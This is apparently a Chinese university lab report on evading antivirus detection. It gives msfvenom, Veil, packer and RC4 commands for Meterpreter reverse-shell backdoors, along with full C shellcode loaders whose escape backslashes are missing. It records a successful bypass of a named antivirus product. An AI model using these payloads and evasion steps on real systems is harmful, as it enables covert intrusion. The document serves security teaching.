一、基础知识
1. 免杀
免杀技术全称为反杀毒技术Anti Anti- Virus简称“免杀”,它指的是一种能使病毒木马免于被杀毒软件查杀的技术。由于免杀技术的涉猎面非常广,其中包含反汇编、逆向工程、系统漏洞等黑客技术,所以难度很高,一般人不会或没能力接触这技术的深层内容。其内容基本上都是修改病毒、木马的内容改变特征码,从而躲避了杀毒软件的查杀。
2. Veil
Veil是一种可以生成带有Metasploit载荷的后门工具,可以绕过部分杀软的防御,软件本身一直在更新。
3. 加壳工具
(1)壳可以简单理解为就是在自己的PE文件中包含了代码.而有不影响我们的PE文件的执行。
(2)加壳的目的:为了隐藏程序真正的OEP(入口点),防止被破解。
(3)软件壳的分类:加密壳、压缩壳、伪装壳、多层壳等。
(4)压缩壳指的是让我们的PE文件变小,加密壳可以保护版权、反跟踪。
4. shellcode_launcher工具
shellcode_launcher实际上是一个cpp编写的加载shellcode的程序,和之前用c调用shellcode数组的方法类似。
二、实践过程
任务一:正确使用msf编码器、msfvenom生成如jar之类的其他文件、veil、加壳工具、使用C + shellcode编程、使用其他课堂未介绍方法
(一)正确使用msf编码器
1. 使用msfvenom -l encoders查看可以使用的编码器来生成不同的后门,截图如下:
2. 对实验二生成的20181207_backdoor.exe后门程序用VirusTotal进行扫描,在69款杀软中有52款爆出了病毒,结果如下图所示:
Msfvenom是Metasploit平台下用来编码payloads免杀的工具。以Metaspliot的知名度和普及度,只要一有新编码算法,AV厂家就会马上加到特征库。
(二)使用msf编码器对后门程序进行一次到多次的编码,并进行检测
按理论上来说,编码会降低检出率,所以在理论上讲多编码几次,能检测出病毒的杀软越来越少,直至全都检测不出来。
1. 一次编码
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b 'x00' LHOST=192.168.141.130 LPORT=1207 -f exe > judy-encoded.exe
(LHOST=Attacker's IP ,使用-p
来指定要使用的payload;使用-b是payload中需要去除的字符,shellcode以‘x00’为结束符,该命令中为了使'x00'不出现在shellcode中,所以使用-b参数
;使用-f
来指定payload
的输出格式;)
对生成的judy-encoded.exe
后门程序,使用VirusTotal进行扫描,扫描结果如下图所示:
2. 十次编码
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b 'x00' LHOST=192.168.141.130 LPORT=1207 -f exe > judy-encoded10.exe
其中, -i 表示迭代次数。
对生成的judy-encoded10.exe
后门程序,使用VirusTotal进行扫描,编码10次后的文件居然有更多的软件爆出病毒(且多次尝试之后依旧如此)扫描结果如下图所示:
(三)msfvenom生成jar文件
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.141.130 LPORT=1207 x> judy_backdoor_java.jar
对生成的judy_backdoor_java.jar
后门文件,使用VirusTotal进行扫描,扫描结果如下图所示:
(四)msfvenom生成php文件
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.141.130 LPORT=1207 x> judy_backdoor.php
对生成的judy_backdoor.php
后门文件,使用VirusTotal进行扫描,扫描结果如下图所示:
(五)msfvenom生成apk文件
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.141.130 LPORT=1207 x> judy_backdoor.apk
对生成的judy_backdoor.apk
后门文件,使用VirusTotal进行扫描,扫描结果如下图所示:
(六)veil生成后门文件
1. 安装过程
(1)此处需要使用阿里云镜像源或中科大镜像源,由于我的Kali机安装的时候已经将镜像源更换为阿里云镜像源,所以此处无需更换。
(2)执行下列代码,安装以下软件:
1 sudo apt-get install libncurses5*
2 sudo apt-get install libavutil55*
3 sudo apt-get install gcc-mingw-w64*
4 sudo apt-get install wine32
5 sudo apt-get update
(3)安装veil(此处若遇到问题,请看本博客问题解决处)
sudo apt-get install veil-evasion
2. 使用veil生成后门文件
(1)输入 veil 指令进入界面
(2)可以输入指令 use evasion 使用veil-evasion:
(3)输入命令 use c/meterpreter/rev_tcp.py 进入配置界面,设置端口号和IP地址
set LHOST 192.168.141.130//设置反弹连接IP
set LPORT 1207//设置端口
(4)输入generate
生成文件,接着输入你想要playload的名字:veil_c_1207
3. 在文件系统中 /var/lib/veil/output/compiled 路径下找到生成的veil_c_1207.exe文件,并进行检测,检测结果如下图所示:
(七)使用C + shellcode编程
1. 使用命令生成一段C语言的shellcode
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.141.130 LPORT=1207 -f c
2. 创建一个文件20181207.c
,然后将unsigned char buf[]
赋值到其中,代码如下:
unsigned char buf[] =
"xfcxe8x8fx00x00x00x60x31xd2x64x8bx52x30x8bx52"
"x0cx89xe5x8bx52x14x8bx72x28x31xffx0fxb7x4ax26"
"x31xc0xacx3cx61x7cx02x2cx20xc1xcfx0dx01xc7x49"
"x75xefx52x8bx52x10x57x8bx42x3cx01xd0x8bx40x78"
"x85xc0x74x4cx01xd0x8bx48x18x8bx58x20x01xd3x50"
"x85xc9x74x3cx31xffx49x8bx34x8bx01xd6x31xc0xc1"
"xcfx0dxacx01xc7x38xe0x75xf4x03x7dxf8x3bx7dx24"
"x75xe0x58x8bx58x24x01xd3x66x8bx0cx4bx8bx58x1c"
"x01xd3x8bx04x8bx01xd0x89x44x24x24x5bx5bx61x59"
"x5ax51xffxe0x58x5fx5ax8bx12xe9x80xffxffxffx5d"
"x68x33x32x00x00x68x77x73x32x5fx54x68x4cx77x26"
"x07x89xe8xffxd0xb8x90x01x00x00x29xc4x54x50x68"
"x29x80x6bx00xffxd5x6ax0ax68xc0xa8x8dx82x68x02"
"x00x04xb7x89xe6x50x50x50x50x40x50x40x50x68xea"
"x0fxdfxe0xffxd5x97x6ax10x56x57x68x99xa5x74x61"
"xffxd5x85xc0x74x0axffx4ex08x75xecxe8x67x00x00"
"x00x6ax00x6ax04x56x57x68x02xd9xc8x5fxffxd5x83"
"xf8x00x7ex36x8bx36x6ax40x68x00x10x00x00x56x6a"
"x00x68x58xa4x53xe5xffxd5x93x53x6ax00x56x53x57"
"x68x02xd9xc8x5fxffxd5x83xf8x00x7dx28x58x68x00"
"x40x00x00x6ax00x50x68x0bx2fx0fx30xffxd5x57x68"
"x75x6ex4dx61xffxd5x5ex5exffx0cx24x0fx85x70xff"
"xffxffxe9x9bxffxffxffx01xc3x29xc6x75xc1xc3xbb"
"xf0xb5xa2x56x6ax00x53xffxd5";
int main()
{
int (*func)() = (int(*)())buf;
func();
}
3. 使用命令: i686-w64-mingw32-g++ 20181207.c -o 20181207.exe
编译这个.c文件为可执行文件
4. 对创建的20181207.exe
后门文件,使用VirusTotal进行扫描,扫描结果如下图所示:
5. 然后把文件放到Windows10环境下尝试运行,运行失败,Microsoft Defender拦截该程序。
(八)使用加壳工具
1. 压缩壳(UPX)——减少应用体积,如ASPack,UPX
(1)使用命令 upx 20181207.exe -o judy_upxed.exe 给之前的20181207.exe加个壳得到judy_upxed.exe
(2)对创建的judy_upxed.exe
后门文件,使用VirusTotal进行扫描,扫描结果如下图所示:
2. 加密壳Hyperion——版权保护,反跟踪,如ASProtect,Armadillo
(1)将加壳的文件复制到, /usr/share/windows-resources/hyperion/ 中,输入命令 wine hyperion.exe -v judy_upxed.exe judy_hyperion_upx.exe
(2)前往 /usr/share/windows-resources/hypersion 目录下,将judy_hyperion_upx.exe拷贝到Windows系统下
(3)对创建的judy_hyperion_upx.exe
后门文件,使用VirusTotal进行扫描,扫描结果如下图所示,加壳之后检出率更高了
(九)使用其他课堂未介绍方法
1. 加密:加密是一种能够有效反击反病毒软件静态扫描功能的方法,因为AV引擎不能立刻爆破它。
(1)用msfvenom生成使用一个RC4加密的shellcode,用上述方法,编写一个c程序,并生成exe文件
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.141.130 LPORT=1207 --encrypt rc4 --encrypt-key thisisakey -f c
(2)创建一个文件encrypt_20181207.c
,然后将unsigned char buf[]
赋值到其中,代码如下:
unsigned char buf[] =
"xfbx8cxe2xb8x8dxf0xb8xf0x4cx59x25x3dxb2x12xc0"
"x28xdcx29xa4x88x54xa7x90xbbx84xcfx4bx10x1cxcd"
"x67x85x64x9exc3xeex5bxd1x16xd6x94xd8x5ax30x71"
"xf2xa8xe8x5cxbbx45x3dxadxedxf6xb9x22x51x3bxdf"
"xf5xc1x3bxbexb5x04x9cxfax18x33xbcx00x81x12x77"
"x60xc7x21x04x97x6dxb4x56xdbx15xa5xaaxb1x3dx23"
"xf6xf5x82x4fxb9xeax27xb9x04xd5x1ax5dxc7x07xda"
"x39xc8x0cxcaxb8x1bxedxd1xc8xf4x9ex82x36x89x16"
"xcexa7xc4x6dxf2x93x45x64xf9x07xdfx21xedx1exb3"
"x7ex68xbbx19xfcxdfx79x66xbbx52xf2x97x59xf0x84"
"x02x0cx32x71xb5xa3x36xabxd9xa1x90x17xffxa3xbd"
"x10x40x67x82xa0x4exadx48x78x16xcdx1dx68x9fx18"
"x4ex7bx1exa5x25x25x0bx68xd3x1ex3axb9x0cx15x42"
"x61xf0x6dxd3x5ex94xd3x47xf1x4dxe7x4dxc7x8axb2"
"x7bxcbx5bx98x8bx93x4ex95x6cx12x55x84xcax81x74"
"x98x3fx64xbcxb2x5bxe7x7bxa8xb4x71x59x4axc3x7c"
"xf5x4cx81x7fx77xa9x52x71xbbx06xecxeex1cx66x71"
"xedxc7x0dxe1x15x73x02x0dx88xcex58x1fx12x46xc9"
"x82x51x4ax5bxb0xccxe3x7cxcex99x39x46xa3xaaxe7"
"xd8x61x1dx1bx5ex7ax49xa2xddx5cx1dxfax2dx53x81"
"xe5x68x30xfex54x0dxc7xaaxeexc9x12xdfx8cx08x48"
"xc9x46xc5x8ax8dx92xc8x60xa3xa4x30x3cx17x0fxb8"
"x74x7cxaaxc4x89xa9x06x28x5fx8bxdex3cxfex6cx3f"
"xb1x76x72x33x69xaex4ax72xd9";
int main()
{
int (*func)() = (int(*)())buf;
func();
}
(3)使用命令: i686-w64-mingw32-g++ encrypt_20181207.c -o encrypt_20181207.exe 编译这个.c文件为可执行文件
将(八)中使用压缩壳生成的judy_upxed.exe文件、使用加密壳生成的judy_hyperion_upx.exe文件和(九)中加密方法生成的encrypt_20181207.exe文件拷贝到优盘中,将u盘插入另一台有电脑管家杀毒软件的笔记本中,进行全盘扫描,发现电脑管家可以检测出使用压缩壳生成的judy_upxed.exe,检测不出来使用加密壳生成的judy_hyperion_upx.exe和使用加密方法生成的encrypt_20181207.exe,截图如下:
任务二:通过组合应用各种技术实现恶意代码免杀(如果成功实现了免杀的,简单语言描述原理,不要截图;与杀软共生的结果验证要截图。)
(1)先用Msfvenom生成raw格式的shellcode,截图如下:
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 6 -b 'x00' LHOST=192.168.141.130 LPORT=1207 -f raw -o judy1207.raw
(2)msfconsole开始监听
(3)在Windows端进入开启cmd,进入到shellcode_launcher-master目录下,运行指令运行指令 shellcode_launcher.exe -i zxy5216.raw
(4)对创建的judy1207.raw
后门文件,使用VirusTotal进行扫描,扫描结果如下图所示,查出率已经很低了:
任务三:用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
(1)我使用了一台我的Kali虚拟机作为控制端,和同学的Windows10笔记本作为被控端
(2)将Kali虚拟机的连接模式由nat模式改为桥接模式
(3)将两台虚拟机连接到同一网段内,并通过ping命令看看是否可以连同
(4)根据新的虚拟机IP地址利用msfvenom生成shellcode,并完成相应的配置
(5)杀软使用的是2345安全卫士,版本为6.9
(6)成果展示,下图1、2分别是我的Kali机监听成功的截图和同学主机截图:
三、基础问题回答
1. 杀软是如何检测出恶意代码的?
答:杀软检测恶意代码的方式有下列三种
- 基于特征码的检测
- 特征码是一段或多段数据,如果一个可执行文件(或其他运行的库、脚本等)包含这样的数据则被认为是恶意代码。
- AV软件厂商要做的就是尽量搜集最全的、最新的特征码库。所以杀毒软件的更新很重要。过时的特征码库就是没有用的库。
- 恶意软件的检测,并不是比对整个文件,而只能只其中一个或几个片断作为识别依据。
- 特征库举例——SNORT
- 启发式恶意软件检测
- 根据片面特征去推断(看起来像),通常缺乏精确判断依据
- 不需要及时更新,具有通用型;但实时监控系统行为开销稍大,没有基于特征码的精确度高
- 基于行为的恶意软件检测
- 基于行为的检测相当于启发式的一种,或者是加入了行为监控的启发式
- 让软件运行,记录其行为并分析(杀软的工作原理)
2. 免杀是做什么?
答:通过使用一些手段,免杀就是让安插在被控机器的恶意代码不被杀毒软件软件发现。
3. 免杀的基本方法有哪些?
答:根据杀软检测恶意代码的方式总结的技术有
(1)改变特征码(改变机器指令)
- 有EXE——加壳:压缩壳、加密壳
- 有shellcode(像Meterpreter)——用encode进行编码、基于playload重新编译生成可执行文件
- 有源代码——用其他语言进行重写再编译(veil-evasion)
(2)改变行为
- 通讯方式:尽量使用反弹式连接、使用隧道技术、加密通讯数据
- 操作模式:基于内存操作、减少对系统的修改、加入混淆作用的正常功能代码
四、遇到的问题以及解决办法
1. 在VirusTotal中无法扫描出生成的后门程序是否存在安全问题,解决方法有两种:
(1)重新生成后门程序
(2)在Kali中联网扫描
2. 首次安装wine32没有成功,解决方法:
执行 sudo apt-get update 指令,而后再进行wine32安装
3. 在安装veil过程中出现错误,表现为:每次输入veil时都会提示安装,安装到最后都会失败。解决办法:
(1)使用命令 cd /usr/share/veil/config/ 进入该文件夹
(2)使用命令 vim setup.sh 编辑文件,第260行把github仓库改成码云的仓库,https://gitee.com/spears/VeilDependencies.git
(3)输入 veil ,进入其安装过程,中间会弹出许多看不懂的图形化软件安装界面。使用其默认地址,并一路点击next。
(4)图形化软件安装完成后,会弹出大段报错,在此处无需理会,最后使用 Ctrl + C 退出
4. 在Windows10运行20181207.exe文件时,出现如下弹框,提示本地缺少libgcc_s_dw2-1.dll文件。截图如下:
解决办法:使用 locate libgcc_s_dw2-1.dll 查看该文件所在的位置,并前往对应目录下将dll文件拷贝到20181207.exe文件所在目录下。
随后又提示缺少libwinpthread-1.dll文件,添加方法如上。
五、实验体会
首先要说明一下,曾经因为电脑下载软件不当导致病毒侵入笔记本中,重装过两次系统,有一段时间我疯狂依赖杀毒软件,从360到2345到腾讯电脑管家……然而我逐渐发现这类软件(以360、2345为例)有一个很明显的弊端就是不停地弹小广告、卸载的时候还卸不干净。卸载后它会以各种形式要求你重新安装回来,所以我的新电脑上没有安装任何杀软,本实验中的部分验证是传到有杀软的老电脑上做的。
这次实践经历让我充分意识到,Windows10系统是不需要额外安装任何杀毒软件的,任何杀毒软件都没有Windows Defender更安全。从杀软的整体效果来看,2345杀软的查杀能力还算ok,某种意义上来说优于360,电脑管家杀毒软件也算比较智能,但仍然存在不安全的地方。